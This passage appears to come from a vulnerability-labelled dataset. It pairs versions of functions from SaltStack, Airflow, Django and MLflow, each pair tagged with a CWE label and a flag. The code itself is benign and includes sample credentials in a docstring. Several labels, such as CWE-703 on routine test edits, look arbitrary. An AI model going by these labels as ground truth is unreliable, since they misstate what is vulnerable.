            timeout=None,
            expr_form='glob',
            ret='',
            jid='',
            kwarg=None,
            **kwargs):
        '''
        Synchronously execute a command on targeted minions

        The cmd method will execute and wait for the timeout period for all
        minions to reply, then it will return all minion data at once.

        .. code-block:: python

            >>> import salt.client
            >>> local = salt.client.LocalClient()
            >>> local.cmd('*', 'cmd.run', ['whoami'])
            {'jerry': 'root'}

        With extra keyword arguments for the command function to be run:

        .. code-block:: python

            local.cmd('*', 'test.arg', ['arg1', 'arg2'], kwarg={'foo': 'bar'})

        Compound commands can be used for multiple executions in a single
        publish. Function names and function arguments are provided in separate
        lists but the index values must correlate and an empty list must be
        used if no arguments are required.

        .. code-block:: python

            >>> local.cmd('*', [
                    'grains.items',
                    'sys.doc',
                    'cmd.run',
                ],
                [
                    [],
                    [],
                    ['uptime'],
                ])

        :param tgt: Which minions to target for the execution. Default is shell
            glob. Modified by the ``expr_form`` option.
        :type tgt: string or list

        :param fun: The module and function to call on the specified minions of
            the form ``module.function``. For example ``test.ping`` or
            ``grains.items``.

            Compound commands
                Multiple functions may be called in a single publish by
                passing a list of commands. This can dramatically lower
                overhead and speed up the application communicating with Salt.

                This requires that the ``arg`` param is a list of lists. The
                ``fun`` list and the ``arg`` list must correlate by index
                meaning a function that does not take arguments must still have
                a corresponding empty list at the expected index.
        :type fun: string or list of strings

        :param arg: A list of arguments to pass to the remote function. If the
            function takes no arguments ``arg`` may be omitted except when
            executing a compound command.
        :type arg: list or list-of-lists

        :param timeout: Seconds to wait after the last minion returns but
            before all minions return.

        :param expr_form: The type of ``tgt``. Allowed values:

            * ``glob`` - Bash glob completion - Default
            * ``pcre`` - Perl style regular expression
            * ``list`` - Python list of hosts
            * ``grain`` - Match based on a grain comparison
            * ``grain_pcre`` - Grain comparison with a regex
            * ``pillar`` - Pillar data comparison
            * ``pillar_pcre`` - Pillar data comparison with a regex
            * ``nodegroup`` - Match on nodegroup
            * ``range`` - Use a Range server for matching
            * ``compound`` - Pass a compound match string
            * ``ipcidr`` - Match based on Subnet (CIDR notation) or IPv4 address.

        :param ret: The returner to use. The value passed can be single
            returner, or a comma delimited list of returners to call in order
            on the minions

        :param kwarg: A dictionary with keyword arguments for the function.

        :param kwargs: Optional keyword arguments.
            Authentication credentials may be passed when using
            :conf_master:`external_auth`.

            For example: ``local.cmd('*', 'test.ping', username='saltdev',
            password='saltdev', eauth='pam')``.
            Or: ``local.cmd('*', 'test.ping',
            token='5871821ea51754fdcea8153c1c745433')``

        :returns: A dictionary with the result of the execution, keyed by
            minion ID. A compound command will return a sub-dictionary keyed by
            function name.
        '''
        arg = salt.utils.args.condition_input(arg, kwarg)
        was_listening = self.event.cpub

        try:
            pub_data = self.run_job(tgt,
                                    fun,
                                    arg,
                                    expr_form,
                                    ret,
                                    timeout,
                                    jid,
                                    listen=True,
                                    **kwargs)

            if not pub_data:
                return pub_data

            ret = {}
            for fn_ret in self.get_cli_event_returns(
                    pub_data['jid'],
                    pub_data['minions'],
                    self._get_timeout(timeout),
                    tgt,
                    expr_form,
                    **kwargs):

                if fn_ret:
                    for mid, data in six.iteritems(fn_ret):
                        ret[mid] = data.get('ret', {})
            return ret
        finally:
            if not was_listening:
                self.event.close_pub()",CWE-259,saltstack/salt,d68a6316b88e68bb31dff7953cf1c9b929be8dca,"def cmd(
            self,
            tgt,
            fun,
            arg=(),
            timeout=None,
            expr_form='glob',
            ret='',
            jid='',
            kwarg=None,
            **kwargs):
        '''
        Synchronously execute a command on targeted minions

        The cmd method will execute and wait for the timeout period for all
        minions to reply, then it will return all minion data at once.

        .. code-block:: python

            >>> import salt.client
            >>> local = salt.client.LocalClient()
            >>> local.cmd('*', 'cmd.run', ['whoami'])
            {'jerry': 'root'}

        With extra keyword arguments for the command function to be run:

        .. code-block:: python

            local.cmd('*', 'test.arg', ['arg1', 'arg2'], kwarg={'foo': 'bar'})

        Compound commands can be used for multiple executions in a single
        publish. Function names and function arguments are provided in separate
        lists but the index values must correlate and an empty list must be
        used if no arguments are required.

        .. code-block:: python

            >>> local.cmd('*', [
                    'grains.items',
                    'sys.doc',
                    'cmd.run',
                ],
                [
                    [],
                    [],
                    ['uptime'],
                ])

        :param tgt: Which minions to target for the execution. Default is shell
            glob. Modified by the ``expr_form`` option.
        :type tgt: string or list

        :param fun: The module and function to call on the specified minions of
            the form ``module.function``. For example ``test.ping`` or
            ``grains.items``.

            Compound commands
                Multiple functions may be called in a single publish by
                passing a list of commands. This can dramatically lower
                overhead and speed up the application communicating with Salt.

                This requires that the ``arg`` param is a list of lists. The
                ``fun`` list and the ``arg`` list must correlate by index
                meaning a function that does not take arguments must still have
                a corresponding empty list at the expected index.
        :type fun: string or list of strings

        :param arg: A list of arguments to pass to the remote function. If the
            function takes no arguments ``arg`` may be omitted except when
            executing a compound command.
        :type arg: list or list-of-lists

        :param timeout: Seconds to wait after the last minion returns but
            before all minions return.

        :param expr_form: The type of ``tgt``. Allowed values:

            * ``glob`` - Bash glob completion - Default
            * ``pcre`` - Perl style regular expression
            * ``list`` - Python list of hosts
            * ``grain`` - Match based on a grain comparison
            * ``grain_pcre`` - Grain comparison with a regex
            * ``pillar`` - Pillar data comparison
            * ``pillar_pcre`` - Pillar data comparison with a regex
            * ``nodegroup`` - Match on nodegroup
            * ``range`` - Use a Range server for matching
            * ``compound`` - Pass a compound match string

        :param ret: The returner to use. The value passed can be single
            returner, or a comma delimited list of returners to call in order
            on the minions

        :param kwarg: A dictionary with keyword arguments for the function.

        :param kwargs: Optional keyword arguments.
            Authentication credentials may be passed when using
            :conf_master:`external_auth`.

            For example: ``local.cmd('*', 'test.ping', username='saltdev',
            password='saltdev', eauth='pam')``.
            Or: ``local.cmd('*', 'test.ping',
            token='5871821ea51754fdcea8153c1c745433')``

        :returns: A dictionary with the result of the execution, keyed by
            minion ID. A compound command will return a sub-dictionary keyed by
            function name.
        '''
        arg = salt.utils.args.condition_input(arg, kwarg)
        was_listening = self.event.cpub

        try:
            pub_data = self.run_job(tgt,
                                    fun,
                                    arg,
                                    expr_form,
                                    ret,
                                    timeout,
                                    jid,
                                    listen=True,
                                    **kwargs)

            if not pub_data:
                return pub_data

            ret = {}
            for fn_ret in self.get_cli_event_returns(
                    pub_data['jid'],
                    pub_data['minions'],
                    self._get_timeout(timeout),
                    tgt,
                    expr_form,
                    **kwargs):

                if fn_ret:
                    for mid, data in six.iteritems(fn_ret):
                        ret[mid] = data.get('ret', {})
            return ret
        finally:
            if not was_listening:
                self.event.close_pub()"
,UNKNOWN,UNKNOWN,docker_tests/test_docker_compose_quick_start.py,1,"def get_jwt_token() -> str:
    """"""Get the JWT token.

    Note: API server is still using FAB Auth Manager.

    Steps:
    1. Get the login page to get the csrf token
        - The csrf token is in the hidden input field with id ""csrf_token""
    2. Login with the username and password
        - Must use the same session to keep the csrf token session
    3. Extract the JWT token from the redirect url
        - Expected to have a connection error
        - The redirect url should have the JWT token as a query parameter

    :return: The JWT token
    """"""
    # get csrf token from login page
    session = requests.Session()
    url = f""http://{DOCKER_COMPOSE_HOST_PORT}/auth/token""
    login_response = session.post(
        url,
        json={
            ""username"": AIRFLOW_WWW_USER_USERNAME,
            ""password"": AIRFLOW_WWW_USER_PASSWORD,
        },
    )
    jwt_token = login_response.json().get(""access_token"")

    assert jwt_token, f""Failed to get JWT token from redirect url {url} with status code {login_response}""
    return jwt_token",CWE-703,apache/airflow,b9026d399b7e9866c1eab4e2b3a148583fdf1575,"def get_jwt_token() -> str:
    """"""Get the JWT token.

    Note: API server is still using FAB Auth Manager.

    Steps:
    1. Get the login page to get the csrf token
        - The csrf token is in the hidden input field with id ""csrf_token""
    2. Login with the username and password
        - Must use the same session to keep the csrf token session
    3. Extract the JWT token from the redirect url
        - Expected to have a connection error
        - The redirect url should have the JWT token as a query parameter

    :return: The JWT token
    """"""
    # get csrf token from login page
    session = requests.Session()
    url = f""http://{DOCKER_COMPOSE_HOST_PORT}/auth/token""
    login_response = session.post(
        url,
        json={
            ""username"": AIRFLOW_WWW_USER_USERNAME,
            ""password"": AIRFLOW_WWW_USER_PASSWORD,
        },
    )
    jwt_token = login_response.json().get(""jwt_token"")

    assert jwt_token, f""Failed to get JWT token from redirect url {url} with status code {login_response}""
    return jwt_token"
,UNKNOWN,UNKNOWN,tools/pkgrepo.py,1,"def debian(
    ctx: Context,
    salt_version: str = None,
    distro: str = None,
    distro_version: str = None,
    incoming: pathlib.Path = None,
    repo_path: pathlib.Path = None,
    key_id: str = None,
    distro_arch: str = ""amd64"",
    nightly_build: bool = False,
    rc_build: bool = False,
):
    """"""
    Create the debian repository.
    """"""
    if TYPE_CHECKING:
        assert salt_version is not None
        assert distro is not None
        assert distro_version is not None
        assert incoming is not None
        assert repo_path is not None
        assert key_id is not None
    distro_info = {
        ""debian"": {
            ""10"": {
                ""label"": ""deb10ary"",
                ""codename"": ""buster"",
                ""suitename"": ""oldstable"",
            },
            ""11"": {
                ""label"": ""deb11ary"",
                ""codename"": ""bullseye"",
                ""suitename"": ""stable"",
            },
        },
        ""ubuntu"": {
            ""18.04"": {
                ""label"": ""salt_ubuntu1804"",
                ""codename"": ""bionic"",
            },
            ""20.04"": {
                ""label"": ""salt_ubuntu2004"",
                ""codename"": ""focal"",
            },
            ""22.04"": {
                ""label"": ""salt_ubuntu2204"",
                ""codename"": ""jammy"",
            },
        },
    }
    display_name = f""{distro.capitalize()} {distro_version}""
    if distro_version not in distro_info[distro]:
        ctx.error(f""Support for {display_name} is missing."")
        ctx.exit(1)

    if distro_arch == ""x86_64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'amd64'. Adjusting."")
        distro_arch = ""amd64""

    if distro_arch == ""aarch64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'arm64'. Adjusting."")
        distro_arch = ""arm64""

    distro_details = distro_info[distro][distro_version]

    ctx.info(""Distribution Details:"")
    ctx.info(distro_details)
    if TYPE_CHECKING:
        assert isinstance(distro_details[""label""], str)
        assert isinstance(distro_details[""codename""], str)
        assert isinstance(distro_details[""suitename""], str)
    label: str = distro_details[""label""]
    codename: str = distro_details[""codename""]

    ftp_archive_config_suite = """"
    if distro == ""debian"":
        suitename: str = distro_details[""suitename""]
        ftp_archive_config_suite = (
            f""""""\n    APT::FTPArchive::Release::Suite ""{suitename}"";\n""""""
        )
    archive_description = f""SaltProject {display_name} Python 3{'' if nightly_build else ' development'} Salt package repo""
    ftp_archive_config = f""""""\
    APT::FTPArchive::Release::Origin ""SaltProject"";
    APT::FTPArchive::Release::Label ""{label}"";{ftp_archive_config_suite}
    APT::FTPArchive::Release::Codename ""{codename}"";
    APT::FTPArchive::Release::Architectures ""{distro_arch}"";
    APT::FTPArchive::Release::Components ""main"";
    APT::FTPArchive::Release::Description ""{archive_description}"";
    APT::FTPArchive::Release::Acquire-By-Hash ""yes"";
    Dir {{
        ArchiveDir ""."";
    }};
    BinDirectory ""pool"" {{
        Packages ""dists/{codename}/main/binary-{distro_arch}/Packages"";
        Sources ""dists/{codename}/main/source/Sources"";
        Contents ""dists/{codename}/main/Contents-{distro_arch}"";
    }}
    """"""
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path,
        salt_version,
        distro,
        distro_version=distro_version,
        distro_arch=distro_arch,
        rc_build=rc_build,
        nightly_build=nightly_build,
    )

    ftp_archive_config_file = create_repo_path / ""apt-ftparchive.conf""
    ctx.info(f""Writing {ftp_archive_config_file} ..."")
    ftp_archive_config_file.write_text(textwrap.dedent(ftp_archive_config))

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    pool_path = create_repo_path / ""pool""
    pool_path.mkdir(exist_ok=True)
    for fpath in incoming.iterdir():
        dpath = pool_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if fpath.suffix == "".dsc"":
            ctx.info(f""Running 'debsign' on {dpath} ..."")
            ctx.run(""debsign"", ""--re-sign"", ""-k"", key_id, str(dpath), interactive=True)

    dists_path = create_repo_path / ""dists""
    symlink_parent_path = dists_path / codename / ""main""
    symlink_paths = (
        symlink_parent_path / ""by-hash"" / ""SHA256"",
        symlink_parent_path / ""source"" / ""by-hash"" / ""SHA256"",
        symlink_parent_path / f""binary-{distro_arch}"" / ""by-hash"" / ""SHA256"",
    )

    for path in symlink_paths:
        path.mkdir(exist_ok=True, parents=True)

    cmdline = [""apt-ftparchive"", ""generate"", ""apt-ftparchive.conf""]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    ctx.info(""Creating by-hash symlinks ..."")
    for path in symlink_paths:
        for fpath in path.parent.parent.iterdir():
            if not fpath.is_file():
                continue
            sha256sum = ctx.run(""sha256sum"", str(fpath), capture=True)
            link = path / sha256sum.stdout.decode().split()[0]
            link.symlink_to(f""../../{fpath.name}"")

    cmdline = [
        ""apt-ftparchive"",
        ""--no-md5"",
        ""--no-sha1"",
        ""--no-sha512"",
        ""release"",
        ""-c"",
        ""apt-ftparchive.conf"",
        f""dists/{codename}/"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ret = ctx.run(*cmdline, capture=True, cwd=create_repo_path)
    release_file = dists_path / codename / ""Release""
    ctx.info(f""Writing {release_file}  with the output of the previous command..."")
    release_file.write_bytes(ret.stdout)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/InRelease"",
        ""-a"",
        ""-s"",
        ""--clearsign"",
        f""dists/{codename}/Release"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/Release.gpg"",
        ""-a"",
        ""-b"",
        ""-s"",
        f""dists/{codename}/Release"",
    ]

    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)
    if nightly_build is False:
        remote_versions = _get_remote_versions(
            tools.utils.STAGING_BUCKET_NAME,
            create_repo_path.parent.relative_to(repo_path),
        )
        major_version = Version(salt_version).major
        matching_major = None
        for version in remote_versions:
            if version.major == major_version:
                matching_major = version
                break
        if not matching_major or matching_major < salt_version:
            major_link = create_repo_path.parent.parent / str(major_version)
            ctx.info(f""Creating '{major_link.relative_to(repo_path)}' symlink ..."")
            major_link.symlink_to(f""minor/{salt_version}"")
        if not remote_versions or remote_versions[0] < salt_version:
            latest_link = create_repo_path.parent.parent / ""latest""
            ctx.info(f""Creating '{latest_link.relative_to(repo_path)}' symlink ..."")
            latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        latest_link = create_repo_path.parent / ""latest""
        ctx.info(f""Creating '{latest_link.relative_to(repo_path)}' symlink ..."")
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(""Done"")",CWE-703,saltstack/salt,8a4034c6d98cbb2a76cc5fe2a2b460fcc6c0b092,"def debian(
    ctx: Context,
    salt_version: str = None,
    distro: str = None,
    distro_version: str = None,
    incoming: pathlib.Path = None,
    repo_path: pathlib.Path = None,
    key_id: str = None,
    distro_arch: str = ""amd64"",
    nightly_build: bool = False,
    rc_build: bool = False,
):
    """"""
    Create the debian repository.
    """"""
    if TYPE_CHECKING:
        assert salt_version is not None
        assert distro is not None
        assert distro_version is not None
        assert incoming is not None
        assert repo_path is not None
        assert key_id is not None
    distro_info = {
        ""debian"": {
            ""10"": {
                ""label"": ""deb10ary"",
                ""codename"": ""buster"",
                ""suitename"": ""oldstable"",
            },
            ""11"": {
                ""label"": ""deb11ary"",
                ""codename"": ""bullseye"",
                ""suitename"": ""stable"",
            },
        },
        ""ubuntu"": {
            ""18.04"": {
                ""label"": ""salt_ubuntu1804"",
                ""codename"": ""bionic"",
            },
            ""20.04"": {
                ""label"": ""salt_ubuntu2004"",
                ""codename"": ""focal"",
            },
            ""22.04"": {
                ""label"": ""salt_ubuntu2204"",
                ""codename"": ""jammy"",
            },
        },
    }
    display_name = f""{distro.capitalize()} {distro_version}""
    if distro_version not in distro_info[distro]:
        ctx.error(f""Support for {display_name} is missing."")
        ctx.exit(1)

    if distro_arch == ""x86_64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'amd64'. Adjusting."")
        distro_arch = ""amd64""

    if distro_arch == ""aarch64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'arm64'. Adjusting."")
        distro_arch = ""arm64""

    distro_details = distro_info[distro][distro_version]

    ctx.info(""Distribution Details:"")
    ctx.info(distro_details)
    if TYPE_CHECKING:
        assert isinstance(distro_details[""label""], str)
        assert isinstance(distro_details[""codename""], str)
        assert isinstance(distro_details[""suitename""], str)
    label: str = distro_details[""label""]
    codename: str = distro_details[""codename""]

    ftp_archive_config_suite = """"
    if distro == ""debian"":
        suitename: str = distro_details[""suitename""]
        ftp_archive_config_suite = (
            f""""""\n    APT::FTPArchive::Release::Suite ""{suitename}"";\n""""""
        )
    archive_description = f""SaltProject {display_name} Python 3{'' if nightly_build else ' development'} Salt package repo""
    ftp_archive_config = f""""""\
    APT::FTPArchive::Release::Origin ""SaltProject"";
    APT::FTPArchive::Release::Label ""{label}"";{ftp_archive_config_suite}
    APT::FTPArchive::Release::Codename ""{codename}"";
    APT::FTPArchive::Release::Architectures ""{distro_arch}"";
    APT::FTPArchive::Release::Components ""main"";
    APT::FTPArchive::Release::Description ""{archive_description}"";
    APT::FTPArchive::Release::Acquire-By-Hash ""yes"";
    Dir {{
        ArchiveDir ""."";
    }};
    BinDirectory ""pool"" {{
        Packages ""dists/{codename}/main/binary-{distro_arch}/Packages"";
        Sources ""dists/{codename}/main/source/Sources"";
        Contents ""dists/{codename}/main/Contents-{distro_arch}"";
    }}
    """"""
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path,
        salt_version,
        distro,
        distro_version=distro_version,
        distro_arch=distro_arch,
        rc_build=rc_build,
        nightly_build=nightly_build,
    )
    ftp_archive_config_file = create_repo_path / ""apt-ftparchive.conf""
    ctx.info(f""Writing {ftp_archive_config_file} ..."")
    ftp_archive_config_file.write_text(textwrap.dedent(ftp_archive_config))

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    pool_path = create_repo_path / ""pool""
    pool_path.mkdir(exist_ok=True)
    for fpath in incoming.iterdir():
        dpath = pool_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if fpath.suffix == "".dsc"":
            ctx.info(f""Running 'debsign' on {dpath} ..."")
            ctx.run(""debsign"", ""--re-sign"", ""-k"", key_id, str(dpath), interactive=True)

    dists_path = create_repo_path / ""dists""
    symlink_parent_path = dists_path / codename / ""main""
    symlink_paths = (
        symlink_parent_path / ""by-hash"" / ""SHA256"",
        symlink_parent_path / ""source"" / ""by-hash"" / ""SHA256"",
        symlink_parent_path / f""binary-{distro_arch}"" / ""by-hash"" / ""SHA256"",
    )

    for path in symlink_paths:
        path.mkdir(exist_ok=True, parents=True)

    cmdline = [""apt-ftparchive"", ""generate"", ""apt-ftparchive.conf""]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    ctx.info(""Creating by-hash symlinks ..."")
    for path in symlink_paths:
        for fpath in path.parent.parent.iterdir():
            if not fpath.is_file():
                continue
            sha256sum = ctx.run(""sha256sum"", str(fpath), capture=True)
            link = path / sha256sum.stdout.decode().split()[0]
            link.symlink_to(f""../../{fpath.name}"")

    cmdline = [
        ""apt-ftparchive"",
        ""--no-md5"",
        ""--no-sha1"",
        ""--no-sha512"",
        ""release"",
        ""-c"",
        ""apt-ftparchive.conf"",
        f""dists/{codename}/"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ret = ctx.run(*cmdline, capture=True, cwd=create_repo_path)
    release_file = dists_path / codename / ""Release""
    ctx.info(f""Writing {release_file}  with the output of the previous command..."")
    release_file.write_bytes(ret.stdout)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/InRelease"",
        ""-a"",
        ""-s"",
        ""--clearsign"",
        f""dists/{codename}/Release"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/Release.gpg"",
        ""-a"",
        ""-b"",
        ""-s"",
        f""dists/{codename}/Release"",
    ]

    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)
    if nightly_build is False:
        ctx.info(""Creating '<major-version>' and 'latest' symlinks ..."")
        major_version = Version(salt_version).major
        major_link = create_repo_path.parent.parent / str(major_version)
        major_link.symlink_to(f""minor/{salt_version}"")
        latest_link = create_repo_path.parent.parent / ""latest""
        latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        ctx.info(""Creating 'latest' symlink ..."")
        latest_link = create_repo_path.parent / ""latest""
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(""Done"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils_tests/test_tree.py,0,"def test_repr(self):
        self.assertEqual(repr(self.node1),
                         ""<Node: (DEFAULT: ('a', 1), ('b', 2))>"")
        self.assertEqual(repr(self.node2), ""<Node: (DEFAULT: )>"")",CWE-Unknown,django/django,8368d5a4006d84abacbcf53b9688a8f84ccf6f0c,"def test_repr(self):
        self.assertEqual(repr(self.node1),
                         ""<Node: (DEFAULT: ('a', 1), ('b', 2))>"")
        self.assertEqual(repr(self.node2), ""<Node: (DEFAULT: )>"")"
,UNKNOWN,UNKNOWN,django/contrib/staticfiles/storage.py,1,"def converter(matchobj):
            """"""
            Convert the matched URL to a normalized and hashed URL.

            This requires figuring out which files the matched URL resolves
            to and calling the url() method of the storage.
            """"""
            matched, url = matchobj.groups()

            # Ignore absolute/protocol-relative, fragments and data-uri URLs.
            if url.startswith(('http:', 'https:', '//', '#', 'data:')):
                return matched

            # Ignore absolute URLs that don't point to a static file (dynamic
            # CSS / JS?). Note that STATIC_URL cannot be empty.
            if url.startswith('/') and not url.startswith(settings.STATIC_URL):
                return matched

            # Strip off the fragment so a path-like fragment won't interfere.
            url_path, fragment = urldefrag(url)

            if url_path.startswith('/'):
                # Otherwise the condition above would have returned prematurely.
                assert url_path.startswith(settings.STATIC_URL)
                target_name = url_path[len(settings.STATIC_URL):]
            else:
                # We're using the posixpath module to mix paths and URLs conveniently.
                source_name = name if os.sep == '/' else name.replace(os.sep, '/')
                target_name = posixpath.join(posixpath.dirname(source_name), url_path)

            # Determine the hashed name of the target file with the storage backend.
            hashed_url = self.url(unquote(target_name), force=True)

            transformed_url = '/'.join(url_path.split('/')[:-1] + hashed_url.split('/')[-1:])

            # Restore the fragment that was stripped off earlier.
            if fragment:
                transformed_url += ('?#' if '?#' in url else '#') + fragment

            # Return the hashed version to the file
            return template % unquote(transformed_url)",CWE-703,django/django,7f6fbc906a21e9f8db36e06ace2a9b687aa26130,"def converter(matchobj):
            """"""
            Convert the matched URL to a normalized and hashed URL.

            This requires figuring out which files the matched URL resolves
            to and calling the url() method of the storage.
            """"""
            matched, url = matchobj.groups()

            # Ignore absolute/protocol-relative, fragments and data-uri URLs.
            if url.startswith(('http:', 'https:', '//', '#', 'data:')):
                return matched

            # Ignore absolute URLs that don't point to a static file (dynamic
            # CSS / JS?). Note that STATIC_URL cannot be empty.
            if url.startswith('/') and not url.startswith(settings.STATIC_URL):
                return matched

            # This is technically not useful and could be considered a bug:
            # we're making changes to our user's code for no good reason.
            # Removing it makes test_template_tag_denorm fail, though, and I'm
            # working on another bug, so I'm going to leave it there for now.
            # When someone complains that /foo/bar#a/../b gets changed to
            # /foo/bar#b, just remove it, as well as test_template_tag_denorm.
            url = posixpath.normpath(url)

            # Strip off the fragment so a path-like fragment won't interfere.
            url_path, fragment = urldefrag(url)

            if url_path.startswith('/'):
                # Otherwise the condition above would have returned prematurely.
                assert url_path.startswith(settings.STATIC_URL)
                target_name = url_path[len(settings.STATIC_URL):]
            else:
                # We're using the posixpath module to mix paths and URLs conveniently.
                source_name = name if os.sep == '/' else name.replace(os.sep, '/')
                target_name = posixpath.join(posixpath.dirname(source_name), url_path)

            # Determine the hashed name of the target file with the storage backend.
            hashed_url = self.url(unquote(target_name), force=True)

            transformed_url = '/'.join(url_path.split('/')[:-1] + hashed_url.split('/')[-1:])

            # Restore the fragment that was stripped off earlier.
            if fragment:
                transformed_url += ('?#' if '?#' in url else '#') + fragment

            # Return the hashed version to the file
            return template % unquote(transformed_url)"
,UNKNOWN,UNKNOWN,tests/executors/test_celery_executor.py,1,"def test_exception_propagation(self):
        @app.task
        def fake_celery_task():
            return {}

        mock_log = mock.MagicMock()
        executor = CeleryExecutor()
        executor._log = mock_log

        executor.tasks = {'key': fake_celery_task()}
        executor.sync()
        assert mock_log.error.call_count == 1
        args, kwargs = mock_log.error.call_args_list[0]
        # Result of queuing is not a celery task but a dict,
        # and it should raise AttributeError and then get propagated
        # to the error log.
        self.assertIn(celery_executor.CELERY_FETCH_ERR_MSG_HEADER, args[0])
        self.assertIn('AttributeError', args[1])",CWE-703,apache/airflow,84ad0c3390480de7da94759ec0df04fd18d429b6,"def test_exception_propagation(self):
        @app.task
        def fake_celery_task():
            return {}

        mock_log = mock.MagicMock()
        executor = CeleryExecutor()
        executor._log = mock_log

        executor.tasks = {'key': fake_celery_task()}
        executor.sync()
        assert mock_log.error.call_count == 1
        args, kwargs = mock_log.error.call_args_list[0]
        # Result of queuing is not a celery task but a dict,
        # and it should raise AttributeError and then get propagated
        # to the error log.
        self.assertIn(celery_executor.CELERY_FETCH_ERR_MSG_HEADER, args[0])
        self.assertIn('AttributeError', args[1])"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_search_experiments(mlflow_client):
    experiments = [
        (""a"", {""key"": ""value""}),
        (""ab"", {""key"": ""vaLue""}),
        (""Abc"", None),
    ]
    experiment_ids = [
        mlflow_client.create_experiment(name, tags=tags) for name, tags in experiments
    ]

    # filter_string
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name = 'a'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(
        filter_string=""attribute.name != 'a'"", order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""Default""]
    experiments = mlflow_client.search_experiments(
        filter_string=""name LIKE 'a%'"", order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""ab"", ""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key = 'value'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key != 'value'"")
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(
        filter_string=""tag.key ILIKE '%alu%'"", order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""ab"", ""a""]

    # order_by
    experiments = mlflow_client.search_experiments(order_by=[""name DESC""])
    assert [e.name for e in experiments] == [""ab"", ""a"", ""Default"", ""Abc""]

    # max_results
    experiments = mlflow_client.search_experiments(max_results=2, order_by=[""creation_time desc""])
    assert [e.name for e in experiments] == [""Abc"", ""ab""]
    # page_token
    experiments = mlflow_client.search_experiments(
        page_token=experiments.token, order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""a"", ""Default""]

    # view_type
    mlflow_client.delete_experiment(experiment_ids[1])
    experiments = mlflow_client.search_experiments(
        view_type=ViewType.ACTIVE_ONLY, order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""Abc"", ""a"", ""Default""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.DELETED_ONLY)
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(
        view_type=ViewType.ALL, order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""a"", ""Default""]",CWE-703,mlflow/mlflow,89bbdc2e059e7a5bb116d3cbe21978e3f5da66bd,"def test_search_experiments(mlflow_client):
    experiments = [
        (""a"", {""key"": ""value""}),
        (""ab"", {""key"": ""vaLue""}),
        (""Abc"", None),
    ]
    experiment_ids = [
        mlflow_client.create_experiment(name, tags=tags) for name, tags in experiments
    ]

    # filter_string
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name = 'a'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""attribute.name != 'a'"")
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""Default""]
    experiments = mlflow_client.search_experiments(filter_string=""name LIKE 'a%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key = 'value'"")
    assert [e.name for e in experiments] == [""a""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key != 'value'"")
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(filter_string=""tag.key ILIKE '%alu%'"")
    assert [e.name for e in experiments] == [""ab"", ""a""]

    # order_by
    experiments = mlflow_client.search_experiments(order_by=[""name DESC""])
    assert [e.name for e in experiments] == [""ab"", ""a"", ""Default"", ""Abc""]

    # max_results
    experiments = mlflow_client.search_experiments(max_results=2)
    assert [e.name for e in experiments] == [""Abc"", ""ab""]
    # page_token
    experiments = mlflow_client.search_experiments(page_token=experiments.token)
    assert [e.name for e in experiments] == [""a"", ""Default""]

    # view_type
    mlflow_client.delete_experiment(experiment_ids[1])
    experiments = mlflow_client.search_experiments(
